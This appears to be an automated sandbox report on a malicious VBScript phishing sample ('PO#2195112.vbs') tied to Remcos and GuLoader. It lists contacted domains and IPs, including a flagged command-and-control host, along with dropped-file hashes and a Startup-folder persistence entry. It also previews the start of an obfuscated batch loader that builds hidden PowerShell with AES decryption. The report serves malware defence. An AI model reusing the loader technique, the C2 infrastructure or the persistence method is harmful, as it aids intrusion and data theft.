http://www.nirsoft.net	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	Avira URL Cloud	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	Virustotal		Browse
https://deff.nelreports.net/api/report?cat=msn	0%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingrms	0%	Virustotal		Browse
http://www.nirsoft.net	0%	Virustotal		Browse
https://deff.nelreports.net/api/report?cat=msn	0%	Avira URL Cloud	safe
http://www.nirsoft.net/	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaotak	0%	Virustotal		Browse
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	0%	Avira URL Cloud	safe
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&	0%	Avira URL Cloud	safe
http://www.ebuddy.com	0%	Avira URL Cloud	safe
http://www.nirsoft.net/	0%	Virustotal		Browse
http://www.ebuddy.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geoplugin.net	178.237.33.50	true	false	1%, Virustotal, Browse	unknown
ab9001.ddns.net	64.188.16.157	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.office.com/	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.imvu.comr	powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EL	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaot	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.2132405885.0000000005046000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2132405885.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2291219894.0000000004BA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2291219894.0000000004BB8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingth	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	bhv8D61.tmp.14.dr	false	Avira URL Cloud: safe	unknown
http://www.imvu.com	powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=wsb	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingrms	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.nirsoft.net	powershell.exe, 0000000E.00000002.2283295225.0000000000914000.00000004.00000010.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaotak	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	bhv8D61.tmp.14.dr	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	bhv8D61.tmp.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.nirsoft.net/	powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.2132405885.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2291219894.0000000004B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&	bhv8D61.tmp.14.dr	false	Avira URL Cloud: safe	unknown
http://www.ebuddy.com	powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
64.188.16.157	ab9001.ddns.net	United States		8100	ASN-QUADRANET-GLOBALUS	true
178.237.33.50	geoplugin.net	Netherlands		8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466651
Start date and time:	2024-07-03 08:43:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO#2195112.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@30/18@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 51 Number of non-executed functions: 144
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6836 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:43:55	API Interceptor	2419786x Sleep call for process: powershell.exe modified
08:43:57	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
64.188.16.157	BL-RTM1439068.vbs	Get hash	malicious	GuLoader, Remcos	Browse
178.237.33.50	TT_Payment_Slip.bat.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	PAYMENT COPY.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	STATEMENT OF ACCOUNT.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Requirement reference for quotation.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	STATEMENT OF ACCOUNT.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse	geoplugin.net/json.gp
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Payment Confirmation.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geoplugin.net	TT_Payment_Slip.bat.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	PAYMENT COPY.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	STATEMENT OF ACCOUNT.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Requirement reference for quotation.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	STATEMENT OF ACCOUNT.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse	178.237.33.50
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Payment Confirmation.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
ab9001.ddns.net	BL-RTM1439068.vbs	Get hash	malicious	GuLoader, Remcos	Browse	64.188.16.157
	SWIFT 103 202405291545524610 290524.vbs	Get hash	malicious	GuLoader, Remcos	Browse	94.156.64.200
	Swift mt103 483932024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	94.156.67.228
	Forandringsstnings.vbs	Get hash	malicious	GuLoader, Remcos	Browse	94.156.67.228

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	hesaphareketi_____.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi__.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	nn7XSQfsNc.exe	Get hash	malicious	GuLoader	Browse	147.78.240.182
	nn7XSQfsNc.exe	Get hash	malicious	GuLoader	Browse	147.78.240.182
	xP1455Elxv.elf	Get hash	malicious	Mirai, Moobot	Browse	23.153.78.247
	gO6RAJaFXe.elf	Get hash	malicious	Mirai	Browse	23.153.31.217
	r2ye3b3z8R.elf	Get hash	malicious	Mirai	Browse	156.239.26.202
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-01-pdf.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
ATOM86-ASATOM86NL	TT_Payment_Slip.bat.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	PAYMENT COPY.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	STATEMENT OF ACCOUNT.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Requirement reference for quotation.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	STATEMENT OF ACCOUNT.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse	178.237.33.50
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Payment Confirmation.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	SOA.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	508
Entropy (8bit):	7.556448235303562
Encrypted:	false
SSDEEP:	12:W7RXbT0Ig7NVZh6NpyVioAowqVlmPRrRxzCWrO2XHi21q2I:Wd0Z7NQNpyVTjiPbxOWrOwBFI
MD5:	390E6F5E869231B980B7352E93A18BB5
SHA1:	EF73B41D0E805AC6E48E1AB57374CD1D62B096CE
SHA-256:	E85428688B273684AD9DC5AAA615E4828EE1036A95D9DFCC1139DAB430D18945
SHA-512:	B5FED51DE89C7A17C0E3C8FD8014EDA473CFD862D191E779B45E5DAF0703A7420BB1DF19A58F52EE1FB38D67B28B059A87D61378FDF893164B2E834F07A9F144
Malicious:	true
Preview:	8.......~m;.........5........N8.....;.5t.&..P"....-...&K..Xhp....=..w...h..}.u....{....4_."Na.....'anJhR...5....).H.{/VM....qS...Z..].+.B..W..{]T'ROv..;.z........<.. ]..,..(a.s...f.y(X....b_W...Z....W<.m...^.D.G._z..w.Y..PL..U\|.i..(.h.~.m;.Kji....2CO...D.Uj.ds..........N........}..Y..'4.W.#.....v..,X........Fa)..B...g....~Y...]'kh...bZ{O..@..$.._.U5t~0..Hky.w3.V...$I...K..-^...mZ.q>.X.{i0......B..;'.B.Vas*r..,i...Kp...@..T/....3........H..........>f."V8N.t.GFp.{.0..v

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.013130376969173
Encrypted:	false
SSDEEP:	12:tklu+mnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkwV:qlu+KdVauKyGX85jvXhNlT3/7AcV9Wro
MD5:	F61E5CC20FBBA892FF93BFBFC9F41061
SHA1:	36CD25DFAD6D9BC98697518D8C2F5B7E12A5864E
SHA-256:	28B330BB74B512AFBD70418465EC04C52450513D3CC8609B08B293DBEC847568
SHA-512:	5B6AD2F42A82AC91491C594714638B1EDCA26D60A9932C96CBA229176E95CA3FD2079B68449F62CBFFFFCA5DA6F4E25B7B49AF8A8696C95A4F11C54BCF451933
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eqquqoso.ej0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_guhx1ir3.4ob.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ih41ueii.2y3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ke0fwi21.nbe.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nkln13hb.bmr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0ual0dm.gjs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5kazo3e.x1q.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xauxqvsl.prh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhv8D61.tmp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xaf3ea1a6, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	17301504
Entropy (8bit):	1.0236803944270363
Encrypted:	false
SSDEEP:	6144:rvQtYV7AyUO+xBGA611GJxBGA611Gv0M6JKX3XX35X3khTAvhTA/hTATX3t8nqkV:eyUt3F0TkT0TAitKxK9JdW54Ago
MD5:	00AB19D242497172EE7B97ABBF7A610D
SHA1:	8C85C0DE464A3505B5F0FA97D00C22008510C73E
SHA-256:	D207A765135312351BB35E995F455678E49FB387373C115943DBB212437097A1
SHA-512:	2BE0AE50FA012152C0A3DD9DB34F60BE9AA91F2EB3F91B2F3E0D6B77E5246C9005DEBD3A724F56D49B1099EB058031BC43EF34F24CA24C6AB8690FF6DED74B08
Malicious:	false
Preview:	.>..... .......4.........gN;....{........................&....../...{..;+...\|..h.(.........................T.;....{..............................................................................................Y...........eJ......n........................................................................................................... ........+...{o..............................................................................................................................................................................................!...{....................................\k;+...\|.................t87.;+...\|...........................#......h.(.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oaanp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (57944), with CRLF line terminators
Category:	dropped
Size (bytes):	709442
Entropy (8bit):	6.01859378817259
Encrypted:	false
SSDEEP:	12288:BoLStLL5Tn6TNMkmIu9bp0su+RUuEA6krfFD9oVeoNktCY0X:bdTn6TZmN9bhRSAHPoVeoutCYQ
MD5:	4C952AAFB3FA8962A6076784E546700F
SHA1:	62A4423135600B372F326CC0340A1471795ED3B6
SHA-256:	EE72B85C0B4CC07AA9CA84C07F176C520FC50ABA1948B47D3B067541BA216197
SHA-512:	FC29C9A7EFF1A14B46D5FEC0B523D2B223435742DEE168B96822A20965BCD92B0FED9F0C7C0EC99FC0CE43AFD019A91626D0E8DE44A3AFAEDBD14B596924CCEB
Malicious:	true
Preview:	cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls.. cls..set "BMBI=Lo"..set "NoPm=nvo"..set "RAtk=lect"..set "wDXk=byp"..set "BabZ=prof"..set "npxxsdQFXszBBuABzmwb=echo cls;powershell "..set "BFYxstiwHkLqdvylpdpK=-w hidden;function d"..set "xkozbSJbcwKpEayIrafY=ecrypt_function($par"..set "UuXNHixgVpmwWLDqqzwA=am_var){.$aes_var=[S"..set "KgtlzvLdXQUpXrPdmBRS=ystem.Security.Crypt"..set "uCfNkotSwhsSDFnNbMnl=ography.Aes]::Create"..set "wuifuXzEWAePHDfhaFbl=();.$aes_var.Mode=[S"..set "cTGQycLsdbcAnFvZuZsm=ystem.Security.Crypt"..set "OOWWcCkZzfMvLbjDOsHs=ography.CipherMode]:"..set "lhBUyEBchgNamOwoWKNV=:CBC;.$aes_var.Paddi"..set "RLSXoGOmwSlbrabHmbxy=ng=[System.Security."..set "bhRtsLiWEVGeFMAzoDFR=Cryptography.Padding"..set "PoFpVMImMObVmoTKTzFC=Mode]::PKCS7;.$aes_v"

C:\Users\user\AppData\Roaming\dropped.bat

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (57944), with CRLF line terminators
Category:	dropped
Size (bytes):	709442
Entropy (8bit):	6.01859378817259
Encrypted:	false
SSDEEP:	12288:BoLStLL5Tn6TNMkmIu9bp0su+RUuEA6krfFD9oVeoNktCY0X:bdTn6TZmN9bhRSAHPoVeoutCYQ
MD5:	4C952AAFB3FA8962A6076784E546700F
SHA1:	62A4423135600B372F326CC0340A1471795ED3B6
